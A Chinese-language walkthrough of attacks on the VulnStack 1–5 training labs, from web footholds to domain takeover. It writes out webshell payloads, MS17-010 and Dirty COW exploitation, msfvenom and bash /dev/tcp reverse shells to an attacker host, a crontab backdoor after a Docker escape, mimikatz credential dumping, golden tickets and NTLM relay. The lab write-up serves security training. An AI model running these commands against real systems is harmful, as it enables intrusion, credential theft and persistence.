VulnStack 1 #
环境搭建 #
Windows 7 x64 :hongri@win7
Windows Server 2008 R2 x64 :Admin@123
Win2K3 Metasploitable :hongri@win7
信息收集 #
主机发现 #
arp-scan -l #扫描网段所有主机

端口扫描 #
nmap -Pn -sC -sV 192.168.52.143

访问80端口

目录扫描 #
dirsearch -u 192.168.52.143

发现有phpmyadmin目录,默认密码root/root可以登录进去

PHPMyAdmin Getshell #
尝试写shell
select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'C:/phpStudy/WWW/phpinfo.php';

因为MySQL服务器使用–secure file priv选项运行,所以无法执行此语句
尝试日志文件来写shell
show variables like '%general%'; #查看一下日志状态

日志功能是关闭的,开启后,执行过的sql语句都会保存到stu1.log,可以修改保存路径,存到指定的文件
set global general_log=on; #开启日志功能

修改日志保存路径
set global general_log_file='C:/phpStudy/WWW/shell.php';
查询一句话木马
SELECT '<?php eval($_POST["cmd"]);?>';

连接


whoami一看是管理员账号
net config Workstation 查看当前计算机名称,全名,用户名,以及所在的工作站域等信息

net localgroup administrators 查看本地管理员

发现还有另一台用户
systeminfo查看系统信息,可以确定当前域为god.org,域服务器名称为OWA,并且还打了四个补丁

上线CS #
生成payload #


提权 #


获取密码 #

横向移动 #
网络探测 #

上传fscan并扫描,发现存在永恒之蓝

msf #
使用msf监听模块,ip就是kali的ip,端口就是监听的端口,payload要和cs相同,然后运行,开始监听

cs上新建监听器

新建会话

上线msf

ms17_010
use exploit/windows/smb/ms17_010_eternalblu


上线CS
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.52.50 # CS服务端IP
set lport 80 # CS服务端监听的端口号
set DisablePayloadHandler True
set PrependMigrate True
sessions -i
set session 2 # 会话id
run

拿下第二台主机
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
run

使用exploit/windows/smb/ms17_010_psexec模块反弹一个shell
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.141
run
CS #
在目标列表中选择横向的主机使用psexec



VulnStack 2 #
环境配置 #
三台主机的密码均为1qaz@WSX,其中WEB在登录的时候需要切换用户de1ay登录
配置PC和WEB主机时,会弹框输入 administrator/ 1qaz@WSX
| DC | 10.10.10.10 | |
|---|---|---|
| PC | 10.10.10.201 | 192.168.111.201 |
| WEB | 10.10.10.80 | 192.168.111.80 |
在WEB主机中启动靶场

外网渗透 #
nmap扫描目标地址 #
nmap -Pn -sC -sV 192.168.111.80
访问http端口
http://192.168.111.80:7001/

扫描7001端口目录 #

访问console/login/LoginForm.jsp,发现WebLogic Server 版本: 10.3.6.0

使用WeblogicScan检测漏洞
python WeblogicScan.py -u 192.168.111.80 -p 7001

检测反序列化漏洞

发现存在3个反序列化漏洞
命令执行

注入内存马

连接

上线CS


提权

横向移动 #
网络探测 #

抓取hash

获取PC #
psexec


获取DC #
内网探测

转发上线


选择中转监听器


VulnStack 3 #

外网渗透 #
端口扫描 #
nmap -Pn -sC -sV 192.168.1.110

访问80端口

知道是joomla
web渗透 #
使用joomscan进行扫描


发现joomla版本,网站的后台/administrator/和一个configuration.php
访问网站的后台发现一个登录框

看一下配置文件,发现数据库账号密码

testuser/cvcvgjASD!@


表名为am2zu_users,组名为am2zu_user_usergroup_map
根据官方文档使用sql添加一个用户
INSERT INTO am2zu_users
(name, username, password, params, registerDate, lastvisitDate, lastResetTime)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO am2zu_user_usergroup_map (user_id,group_id)
VALUES (LAST_INSERT_ID(),'8');


登录后台
admin2/secret

接下来就是找能编辑php的地方,发现模板Beez3

写入一句话木马

getshell #

无法执行命令

发现有disable_functions

使用蚁剑插件绕过


绕过成功

发现内网ip:192.168.93.120

权限维持 #
ssh登录
在/tmp/mysql/下发现一个test.txt文件,并在其中发现了账号密码。
wwwuser/wwwuser_123Aqx

提权 #
CVE-2016-5195
下载exp dirtycow/dirty.c at master · firefart/dirtycow
gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123456
su firefart
横向移动 #
提权成功后,重新上传msf的payload
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=kaliip LPORT=8888 -f elf > shell.elf
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost kaliip
set lport 8888
run
获取内网一台主机的权限后,首要目的是得到内网其他存活主机信息,必须先添加路由通讯使我方攻击机可以访问其他机器流量, MSF 工具成功通讯后还需要继续搭建使攻击机所有工具如 nmap 流量都可被访问 我个人理解是针对主机群要做的是存活扫描,确定哪些机器是有效的,整理出 IP 地址 针对单台主机需要做的是扫描开放端口进攻脆弱服务
MSF添加路由通讯 #
route // 打印当前路由
run post/multi/manage/autoroute // 在当前会话自带添加路由 (攻击机添加一个网段和被控主机一个网段 52网段)
run autoroute -p // 查看当前路由 已经添加好了93网段
其他网段添加路由方式
route add 192.168.93.0 255.255.255.0 1
目的网段 192.168.93.0 子网掩码 255.255.255.0 下一跳地址 session 1

/ew for linux64 -s rcsocks -l 1080 -e 1234
添加路由后由于 ew 反向代理流量失败,攻击机并没有很好的 ping 通 93 网段只能利用 MSF 扫描模块做接下来渗透
use auxiliary/scanner/smb/smb_version // 使用smb扫描服务
set rhosts 192.168.93.30 // 扫描此靶机PC
run

smb_login 爆破密码 #
存活机器开放 445 端口可以尝试爆破和测试永恒之蓝,但是永恒之蓝并没有成功只能尝试爆破模块
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.30
set lport 10001
run

选择爆破模块爆出账户密码
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.93.
set USER_FILE 密码字典
set PASS_FILE 密码字典
run

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.93.20,30
set smbpass 123qwe!ASD
set smbuser administrator
run

进入 win7 session ,win2008的session无法登录域控(如果之前没爆出来域控的密码,可以再抓一下密码)
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
#接管域控
net use \\192.168.93.10\ipc$ "zxcASDqw123!!" /user:"Administrator"
#关闭域控防火墙
sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.10 start unablefirewall

关闭防火墙后重新登陆域控,这次可以成功登录,至此拿下所有设备
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.93.10
set smbpass zxcASDqw123!!
set smbdomain TEST
set smbuser administrator
run

制作黄金票据维权,降权模拟 Administrator 用户(system权限不能制作黄金票据)
load incognito 加载模块
list_tokens -u 列出所有token
impersonate_token "TEST\Administrator"

制作票据 SID 后面的-500不需要
shell
whoami /all
所需SID:S-1-5-21-1528753600-3951244198-520479113

golden_ticket_create -d test.org -k 571bcade06358cf8ea77e8418e857355 -u zxx -s S-1-5-21-1528753600-3951244198-520479113 -t /root/桌面/zxx.ticket
-d 域名
-k krbtgt账户的密码hash值
-u 任意的用户名
-t 将生成的票据保存在kali中,文件名字以及后缀可以随意
-s 用户SID

票据制作完成,注入票据,验证票据是否可用,进入域成员的session打入票据
load kiwi
kerberos_ticket_use /root/桌面/zxx.ticket 使用票据
shell
dir \\WIN-8GA56TNV3MV\c$

最终在 C:\Users\Administrator\Documents 目录下找到 flag

NTLM Relay 攻击 #
思路:在 CentOS 上伪造 SMB 服务,当内网中有设备访问 CentOS 上的 WEB 服务,就会弹出 SMB 登录框,用户输入账号密码后,impacket 会将抓到的用户 Net-NTLM Hash,返回到内网的其他设备从而实现其他设备上线。
需要用到 impacket 工具,该工具只支持 python3 ,CentOS上是python2.6.6,所以还需要再CentOS上安装 python3
工具链接:
https://github.com/fortra/impacket
python链接:
https://www.python.org/downloads/
https://www.python.org/ftp/python/3.6.9/Python-3.6.9.tgz
上传 python 和 impacket 到 CentOS,然后解压(测试过多个版本,只有Python3.6.9能安装成功)
#解压文件
tar -zvxf Python-3.6.9.tgz
unzip impacket-master.zip
#安装python
cd Python-3.6.9
./configure --prefix=/usr/local/python --with-openssl #配置编译选项
make && make install #编译
ln -s /usr/local/python/bin/python3 /usr/bin/python3 #创建软连接
ln -s /usr/local/python/bin/pip3 /usr/bin/pip #创建软连接
#安装Python库pip3
install --upgrade pip -i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com
pip3 install six -i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com pycryptodomex
pip3 install -i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com pyOpenSSL
pip3 install -i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com ldap3
pip3 install -i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com pyasn1
pip3 install -i https://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com impacket
执行后会在CentOS上面启动一个smb服务和一个http服务,http服务会跟nginx的80端口冲突,所以需要事先停止nginx 服务:
nginx -s stop
生成 payload 然后上传到 CentOS
msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.1.110 lport=9876 -e x86/shikata_ga_nai -f exe > /tmp/shell.exe
然后进入Impacket的examples目录执行如下命令:
python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe
# 攻击信息都会反弹到192.168.93.20这台主机
执行完python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe。此时,如果内网中的有域用户访问再次通过CentOS代理访问站点时,访问的就不是之前的那个Joomla站点了,而是攻击者在CentOS上面搭建的一个恶意的smb服务,会弹出一个认证页面:

安全意识差的用户自然会输入自己的域用户密码,然后smbrelayx.py就会抓取到该用户的Net-NTLM Hash并重放给内网中的另一台机器 192.168.93.20(Windows Server 2008),成功后,会在Windows Server 2008上面上传我们预先生成的木马shell.exe并执行。因为smbrelayx.py指定的是192.168.93.20这台主机
由此命令 python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe 可知,smbproxy.py抓取的用户名密码信息都会重放到win 2008(192.168.93.20),所有要对win 2008进行监听
在msf上开启对 win 2008(192.168.93.20)的监听
然后在win7上访问smb服务器,使得win 2008成功上线
顺序不能错,一定要先开启监听,在用win7登录smb伪造服务器
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.20
set AutoRunScript post/windows/manage/migrate
run
这样就获取到win 2008的权限,可以通过meterpreter 对win 2008进行后渗透
由于这里是靶机,所以手动完成该域用户的认证过程,就用 PC (Windows7) 上的用户访问吧。输入用户名密码后,smbrelayx.py成功抓取到该用户的Net-NTLM Hash:

这样就获取到win 2008的权限,可以通过meterpreter 对win 2008进行后渗透
之后的操作如上一步
VulnStack 4 #
WEB主机 ubuntu:ubuntu
WIN7主机 douser:Dotest123
(DC)WIN2008主机 administrator:Test2008(Admin@123)
环境部署 #
WEB主机(Ubuntu)上启动环境
sudo docker start ec 17 09 bb da 3d ab ad
sudo docker ps

WEB打点 #
端口扫描 #
nmap -sV -Pn 192.168.1.7

扫描出来4个端口,一个个访问:

2001端口:一个文件上传接口,是struts2框架
2002端口:一个tomcat页面:

2003端口:phpmyadmin网站,而且未输入密码直接登录:

struts2漏洞 #
工具扫描,存在漏洞

尝试使用S2-046可以成功执行命令,确实存在漏洞:

直接执行命令反弹shell
/bin/sh -i >& /dev/tcp/192.168.1.5/4444 0>&1

上线MSF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=5555 -f elf > shell.elf
上传
python -m http.server 8080
wget http://192.168.1.5:8080/shell.elf
msf进行监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.5
set lport 5555
run


cat /proc/1/cgroup
这个命令是显示进程1所属的control group (cgroup) 的层次结构。
通过这个命令我们如果看到docker字样,就说明我们应该是在容器中。

检查根目录下是否存在.dockerenv文件

可以判断出在docker容器中,所以接下来要想办法进行docker逃逸
tomcat 文件上传漏洞getshell #
根据已知版本:Apache Tomcat/8.5.19 存在文件上传漏洞
因此可以利用Tomcat CVE-2017-12615 任意文件写入
刷新页面,抓包,将get请求改为put请求:

利用成功
尝试上传jsp文件:

返回404,说明不能上传该文件格式,可以尝试绕过,可以文件流绕过,可以空格绕过,可以"/“绕

上传webshell

上线哥斯拉

docker逃逸 #
判断当前容器是否是特权模式
cat /proc/self/status | grep CapEff
cat /proc/self/status 用于查看当前进程的状态信息。
grep CapEff 用于从输出结果中过滤出 CapEff 相关的行
capability 是一种权限机制,利用 CapEff 我们可以了解当前进程实际拥有的权限和能力。

利用dirty cow来进行docker逃逸 #
git clone https://github.com/scumjr/dirtycow-vdso.git
cd dirtycow-vdso
make
上传目标
python -m http.server 8080
wget http://192.168.1.5:8080/0xdeadbeef
利用失败
利用特权模式进行逃逸 #
fdisk -l

发现通过Struts2获得的shell的磁盘文件为空,所以利用不了
但是通过Tomcat获得的shell就可以利用

可以看到sda1就是宿主机的磁盘。下来只需要把宿主机所在的磁盘挂载到docker中就可以正常访问到宿主机中的内容了。
mkdir /test
mount /dev/sda1 /test #将宿主机磁盘挂载到test目录下。
因为有了宿主机磁盘的操作权限,写计划任务就可以了:
touch /test/test.sh
echo 'bash -i >& /dev/tcp/192.168.1.5/6666 0>&1' > /test/test.sh
echo '* * * * * root bash /test.sh' >> /test/etc/crontab

成功逃逸,发现内网网段

内网渗透 #
上线viper
python -m http.server 8080
wget http://192.168.1.5:8080/reverse_tcp_4444.elf

内网路由

信息收集 #
内网主机扫描

发现两台主机

横向移动 #
漏洞扫描

发现存在永恒之蓝

内网代理 #
使用chisel 来搭建socks隧道
vps开启服务端监听:
chisel server -p 6666 --reverse
拿下的ubuntu做客户端反向连接VPS,开启socks代理
chisel client 192.168.1.5:6666 R:socks
编辑proxychains4.conf文件
vi /etc/proxychains4.conf

漏洞利用 #
setg Proxies socks5://127.0.0.1:1080
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.183.2
set lport 7777
run
VulnStack 5 #
win7:
sun\heart 123.com
sun\Administrator dc123.com(Admin@123)
2008:
sun\admin 2020.com(Hongri@123)
WEB打点 #
端口扫描 #
nmap -sV -Pn 192.168.1.8

漏洞挖掘 #
访问80端口

版本是ThinkPHP V5.0,既然是V5.0,可以尝试一下Thinkphp远程命令执行漏洞
使用kali的searchsploit查找一下漏洞利用POC:
searchsploit thinkphp

发现最后一个是thinkphp5.X版本的RCE,进入该漏洞的文件46150.txt:
cd /usr/share/exploitdb/exploits/php/webapps
cat 46150.txt

漏洞利用 #

执行成功
上传webshell

上线

内网漫游 #
上线CS #
上传木马

运行上线

权限提升 #


信息收集 #
抓取明文密码


网络探测 #


横向移动 #
代理转发


拿下DC

